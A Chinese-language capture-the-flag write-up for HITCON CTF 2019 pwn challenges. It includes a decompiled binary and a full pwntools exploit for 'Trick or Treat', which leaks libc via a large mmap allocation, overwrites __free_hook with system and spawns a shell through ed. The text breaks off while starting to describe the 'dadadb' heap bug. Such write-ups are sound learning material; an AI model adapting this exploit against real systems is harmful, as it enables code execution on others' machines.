HITCON CTF 2019 pwn 题解

权重 98 的国际赛。

文件链接:https://github.com/Ex-Origin/ctf-writeups/tree/master/hitcon_ctf_2019/pwn

Trick or Treat

一道 misc pwn,考验答题者的脑洞。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-2Ch]
  __int128 size; // [rsp+8h] [rbp-28h]
  __int64 v5; // [rsp+18h] [rbp-18h]
  _QWORD *v6; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  size = 0uLL;
  v5 = 0LL;
  v6 = 0LL;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  write(1, "Size:", 5uLL);
  __isoc99_scanf((__int64)"%lu", &size);
  v6 = malloc(size);
  if ( v6 )
  {
    printf("Magic:%p\n", v6);
    for ( i = 0; i <= 1; ++i )
    {
      write(1, "Offset & Value:", 0x10uLL);
      __isoc99_scanf((__int64)"%lx %lx", (char *)&size + 8, &v5);
      v6[*((_QWORD *)&size + 1)] = v5;
    }
  }
  _exit(0);
}

思路:

  • 申请的size足够大,使得其使用 mmap 进行内存申请,从而用其偏移计算 libc 地址
  • 把 free_hook 指向 system
  • ed 绕过滤
  • !/bin/sh 执行shell
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols.c', 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
#     pass

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './trick_or_treat'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b free
    '''

    f = open('/tmp/gdb_pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

sh.sendlineafter('Size:', str(0x40000))
sh.recvuntil('Magic:')
ptr_base = int(sh.recvuntil('\n'), 16)
# Maybe different environments has different offset value.
libc_addr = ptr_base - 0x10 - 0x5b7000
log.success('libc_addr: ' + hex(libc_addr))

sh.recvuntil('Offset & Value:')
offset = (libc_addr + libc.symbols['__free_hook']) - ptr_base
offset = int(offset / 8) + 0x10 ** 16
sh.sendline('%lx %lx' % (offset, libc_addr + libc.symbols['system']))

sh.recvuntil('Offset & Value:')
sh.sendline('0' * 0x400 + ' ed')
sh.sendline('!/bin/sh')

sh.interactive()
clear()

dadadb

来自 Angel boy 的题目,质量当然毋庸置疑。

其链表并没有什么问题,成链和解链都很正常。

漏洞比较简单,在 add 的时候,当对应的 链表 如果有 指针的话,则会把原先的 free 掉后再申请新的,但是其并没有更新其size,也就意味着使用的仍然是原先的size,如果原先的size本身就很大的话,